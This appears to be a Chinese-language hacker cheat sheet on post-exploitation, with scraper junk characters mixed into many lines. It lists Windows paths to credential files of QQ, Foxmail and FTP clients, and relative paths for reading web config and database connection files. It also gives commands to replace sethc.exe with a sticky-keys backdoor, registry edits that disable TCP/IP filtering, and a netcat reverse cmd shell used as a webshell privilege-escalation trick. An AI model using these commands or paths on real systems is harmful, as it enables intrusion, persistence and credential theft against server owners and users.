0 e. K, z, X' P0 U- M1 u/usr/tomcat6/bin/startup.sh
5 L  C' Z/ q9 P0 [) @: S7 Nc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
: H6 n  \/ D* C( ic:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
; `3 ]. k6 }. o7 Oc:\Program Files\Tencent\qq\Users\All Users\Registry.db
3 T) P- v' A& B) i4 Z0 a) g# iC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
1 C/ }3 \* C& M5 A! LC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
( e8 I7 L) y# MC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
1 E( r* c7 j' {- P- }1 a! Mc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
* Q6 e& b8 }; O4 l# s* U# Wc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
2 @9 E5 ^- d8 N# Z0 U4 X2 Lc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
* g. U# m# N8 ?
4 N# h4 ]/ g* c3.网站相对路径:
9 L8 Z% T0 F2 H+ f3 \! g
7 z& g1 Q7 l! j9 ^) ]$ E/config.php
0 B' d$ B( ]; Q" r8 e# \5 i+ j../../config.php
/ f6 @3 I: O7 l. y  h3 a../config.php
../../../config.php
. H  L* j% C0 P$ L/config.inc.php
" y5 V/ k# E; g) A, A./config.inc.php
3 [( V& b( |9 A1 l../../config.inc.php
../config.inc.php
, u' I; Y2 Q9 U+ q& ]. A$ ]../../../config.inc.php
* F1 c0 U& `# h8 A4 C( P/ J+ _2 Y/conn.php
4 W) Q6 h1 ?8 K./conn.php
+ D" e% O1 h9 U% H' c../../conn.php
../conn.php
../../../conn.php
/conn.asp
./conn.asp
( z; K: Y2 D# [../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
( z1 c7 s: i/ _5 r: o; V# t' v./config.inc.php
../../config.inc.php
. G% I3 _  I) ]/ o../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
2 b4 b% F, S- Z- d. X1 B4 T../config/config.php
../../../config/config.php
8 ?. d& s/ U$ f4 W/config/config.inc.php
% v8 u# J; G6 A9 S* R' v: a+ ?./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
1 |# T7 w5 z. T, g1 Q) r& Q/config/conn.php
./config/conn.php
! F0 ~( |- P! n../../config/conn.php
../config/conn.php
../../../config/conn.php
- q: Q( J1 h1 _1 S+ b/config/conn.asp
./config/conn.asp
7 o2 p: j9 x5 U../../config/conn.asp
../config/conn.asp
* ^7 \, H7 X  P1 `5 r../../../config/conn.asp
$ J3 I% t2 n  |. r2 k6 F/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
- l: N0 e& W' t! z' @4 _../config/config.inc.php
../../../config/config.inc.php
/data/config.php
; M5 Q! v  S0 @0 `3 x. X- s../../data/config.php
( D4 c) O6 y. H: \' A9 l../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
+ r, |: n9 z, x: z: x../../data/config.inc.php
../data/config.inc.php
2 g5 E. G, v% ?6 J7 a+ {../../../data/config.inc.php
/data/conn.php
# G" m( r" i: w' m# p' y) h# W./data/conn.php
2 ^5 |- L) _4 W& I! X5 q& m../../data/conn.php
9 X8 {( ]5 f1 h# S7 }6 l../data/conn.php
../../../data/conn.php
% N4 ~6 S) d( t$ U/data/conn.asp
./data/conn.asp
) c! g: R4 W5 H3 {. d+ q../../data/conn.asp
1 n* T+ r& K+ B) h../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
/ S$ N: T8 [" R* H./data/config.inc.php
4 W1 Q7 Z/ T; }../../data/config.inc.php
) M1 ]+ G% b2 X* ~9 `- }../data/config.inc.php
. M+ S: b/ t! l3 }  y../../../data/config.inc.php
3 B0 J3 k* \7 T/include/config.php
  L' w0 S, [4 u2 |6 p../../include/config.php
../include/config.php
3 D1 F4 }* k9 P) H../../../include/config.php
9 I2 V* `1 E/ k$ o( d2 s0 I/include/config.inc.php
./include/config.inc.php
6 e0 ?& j+ J) f: U0 W../../include/config.inc.php
* A5 K0 @. ?0 X../include/config.inc.php
3 c5 Y2 t" \7 t8 f$ a. k6 z../../../include/config.inc.php
/include/conn.php
7 u. _! A3 R) @& h./include/conn.php
../../include/conn.php
../include/conn.php
4 G& |/ g7 G, @! [# Z../../../include/conn.php
/ n7 f8 s- v. R/include/conn.asp
6 O  @& e- S9 k* `./include/conn.asp
! c  c. V: q9 L) T" ~1 `+ o, n../../include/conn.asp
../include/conn.asp
: y; r! V" M0 L7 v+ n; N% S../../../include/conn.asp
# m- T; _' l. m/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
4 q+ H! U, C* D../../../inc/config.php
8 e; Z- l3 s2 J6 ]8 w/inc/config.inc.php
. s1 x$ R& j" R./inc/config.inc.php
& U8 u0 b1 m/ y../../inc/config.inc.php
../inc/config.inc.php
5 G* \2 @! t, u' Y9 l* }0 N../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
" \8 `7 L& \7 T& V0 L( M2 Q../../inc/conn.php
../inc/conn.php
5 X# ^8 U& V6 ~0 S+ e& X" d6 }$ _../../../inc/conn.php
) t/ F$ h  u. W! C- g) Y/inc/conn.asp
7 @  L; |2 F5 ~" V* l; a/ e  n1 _% [./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
4 Z: h) N  w* b3 |8 i2 l../../inc/config.inc.php
../inc/config.inc.php
8 @( t2 W) W3 F+ |8 V3 N3 j; P, p; G../../../inc/config.inc.php
2 B6 E3 [' e4 ]; F6 X/index.php
" O2 k8 a8 C; t' `* t9 C( z./index.php
4 f$ m- w$ ^* ?../../index.php
- [( c% T9 q7 A$ [; ^+ v' _1 C../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
8 R8 U. a3 s/ l! H: I# t/ W../index.asp
../../../index.asp
1 W3 ^2 |# ^2 N) Q1 ]替换SHIFT后门
, P% {( I7 H+ k5 `　attrib c:\windows\system32\sethc.exe -h -r -s

. c7 \  Z& V7 a8 P　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

1 d6 }5 K+ \- y( B4 Q. B4 w) h　　del c:\windows\system32\sethc.exe

  P' k" n, A; ^* h　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
6 x7 @0 D2 l  Q. ^
6 i4 q0 g. q- ~8 V3 v* L7 B　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
" `. B2 V% b: ~& s1 x2 I+ G" R
1 L* x2 k+ Z8 g& Q, D2 [9 w　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
. l5 X- W3 y1 j% V5 |$ e4 M. f去除TCPIP筛选
/ G* f& x8 C0 D9 U( l& S+ O; b+ O  MTCP/IP筛选在注册表里有三处，分别是：
+ {# Q" N' q/ O5 p$ U+ Z: YHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
9 B* ?5 l  w( o& `3 sHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
7 H5 |; a$ q% N2 y( \. n
( q% y0 B4 M# L0 x4 n7 P8 ?分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ N" x% e- o' I1 b# s+ Kregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
" ^* F! _5 t+ N命令来导出注册表项

* A6 v0 p8 J1 A! f- o7 [1 v/ A然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
. {! J0 Z0 ]4 d! C
再将以上三个文件分别用
; W. t# G. {! {% J; y. oregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
# p! S; M* b. a+ N7 @( m- j! |) zcmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
" w4 M' k; T: @& Q; F例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
) l) r/ Z. e- ]  `* V通常都不会成功。
, c: j  }4 |# X. ^. N8 z* F* \
& t: ]! R/ \( i3 z. K而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
' {$ j  ?2 h3 t, A8 U! j8 Z' [4 u命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
# K$ W5 I3 H# t/ d, {这个不是重点
% e- F+ C& l+ P我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功